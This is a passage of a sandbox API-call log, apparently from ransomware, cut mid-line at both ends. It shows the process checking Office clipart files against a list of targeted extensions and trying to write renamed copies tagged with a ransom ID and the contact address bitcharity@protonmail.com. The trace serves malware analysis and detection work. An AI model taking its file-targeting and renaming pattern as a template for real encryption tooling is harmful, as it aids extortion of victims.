Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.416] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.416] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.416] CloseHandle (hObject=0x1174) returned 1 [0244.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.417] lstrlenW (lpString=".doc") returned 4 [0244.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString=".docx") returned 5 [0244.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.417] lstrlenW (lpString=".pdf") returned 4 [0244.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString=".xls") returned 4 [0244.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.417] lstrlenW (lpString=".xlsx") returned 5 [0244.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.417] lstrlenW (lpString=".ppt") returned 4 [0244.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.417] lstrlenW (lpString=".zip") returned 4 [0244.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.417] lstrlenW (lpString=".rar") returned 4 [0244.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString=".bz2") returned 4 [0244.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString=".7z") returned 3 [0244.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.417] lstrlenW (lpString=".dbf") returned 4 [0244.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.417] lstrlenW (lpString=".1cd") returned 4 [0244.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.418] lstrlenW (lpString=".jpg") returned 4 [0244.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.418] lstrlenW (lpString=".doc") returned 4 [0244.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString=".docx") returned 5 [0244.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.418] lstrlenW (lpString=".pdf") returned 4 [0244.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString=".xls") returned 4 [0244.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.418] lstrlenW (lpString=".xlsx") returned 5 [0244.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.418] lstrlenW (lpString=".ppt") returned 4 [0244.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.418] lstrlenW (lpString=".zip") returned 4 [0244.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.418] lstrlenW (lpString=".rar") returned 4 [0244.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString=".bz2") returned 4 [0244.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.418] lstrlenW (lpString=".7z") returned 3 [0244.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.419] lstrlenW (lpString=".dbf") returned 4 [0244.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.419] lstrlenW (lpString=".1cd") returned 4 [0244.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0244.419] lstrlenW (lpString=".jpg") returned 4 [0244.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.419] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.419] lstrlenW (lpString="BS00078_.WMF") returned 12 [0244.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.426] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=1444) returned 1 [0244.426] CloseHandle (hObject=0x1174) returned 1 [0244.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0244.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.427] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.427] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.427] CloseHandle (hObject=0x1174) returned 1 [0244.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.428] lstrlenW (lpString=".doc") returned 4 [0244.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString=".docx") returned 5 [0244.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.428] lstrlenW (lpString=".pdf") returned 4 [0244.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString=".xls") returned 4 [0244.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.428] lstrlenW (lpString=".xlsx") returned 5 [0244.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.428] lstrlenW (lpString=".ppt") returned 4 [0244.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.428] lstrlenW (lpString=".zip") returned 4 [0244.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.428] lstrlenW (lpString=".rar") returned 4 [0244.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString=".bz2") returned 4 [0244.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.428] lstrlenW (lpString=".7z") returned 3 [0244.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString=".dbf") returned 4 [0244.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString=".1cd") returned 4 [0244.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString=".jpg") returned 4 [0244.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString=".doc") returned 4 [0244.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString=".docx") returned 5 [0244.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.429] lstrlenW (lpString=".pdf") returned 4 [0244.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString=".xls") returned 4 [0244.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.429] lstrlenW (lpString=".xlsx") returned 5 [0244.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.429] lstrlenW (lpString=".ppt") returned 4 [0244.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.429] lstrlenW (lpString=".zip") returned 4 [0244.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.430] lstrlenW (lpString=".rar") returned 4 [0244.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".bz2") returned 4 [0244.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString=".7z") returned 3 [0244.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.430] lstrlenW (lpString=".dbf") returned 4 [0244.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.430] lstrlenW (lpString=".1cd") returned 4 [0244.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0244.430] lstrlenW (lpString=".jpg") returned 4 [0244.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.430] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0244.430] lstrlenW (lpString="BS00092_.WMF") returned 12 [0244.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.431] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x251ff14 | out: lpFileSize=0x251ff14*=7974) returned 1 [0244.431] CloseHandle (hObject=0x1174) returned 1 [0244.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0244.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.432] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.432] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.432] CloseHandle (hObject=0x1174) returned 1 [0244.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0244.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0244.432] lstrlenW (lpString=".doc") returned 4 [0244.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".docx") returned 5 [0244.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.433] lstrlenW (lpString=".pdf") returned 4 [0244.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".xls") returned 4 [0244.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.433] lstrlenW (lpString=".xlsx") returned 5 [0244.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.433] lstrlenW (lpString=".ppt") returned 4 [0244.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0244.433] lstrlenW (lpString=".zip") returned 4 [0244.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.433] lstrlenW (lpString=".rar") returned 4 [0244.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".bz2") returned 4 [0244.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.433] lstrlenW (lpString=".7z") returned 3 [0244.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0244.434] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.434] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.435] CloseHandle (hObject=0x1174) returned 1 [0244.435] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.436] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.436] CloseHandle (hObject=0x1174) returned 1 [0244.437] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.437] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.437] CloseHandle (hObject=0x1174) returned 1 [0244.438] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.438] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.439] CloseHandle (hObject=0x1174) returned 1 [0244.440] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.440] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.440] CloseHandle (hObject=0x1174) returned 1 [0244.513] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.513] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.514] CloseHandle (hObject=0x116c) returned 1 [0244.515] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.515] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.515] CloseHandle (hObject=0x116c) returned 1 [0244.517] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.517] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.517] CloseHandle (hObject=0x116c) returned 1 [0244.518] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.518] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.518] CloseHandle (hObject=0x116c) returned 1 [0244.520] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.520] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.530] CloseHandle (hObject=0x116c) returned 1 [0244.531] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.531] SetFilePointerEx (in: hFile=0x116c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.531] CloseHandle (hObject=0x116c) returned 1 [0244.539] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.553] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 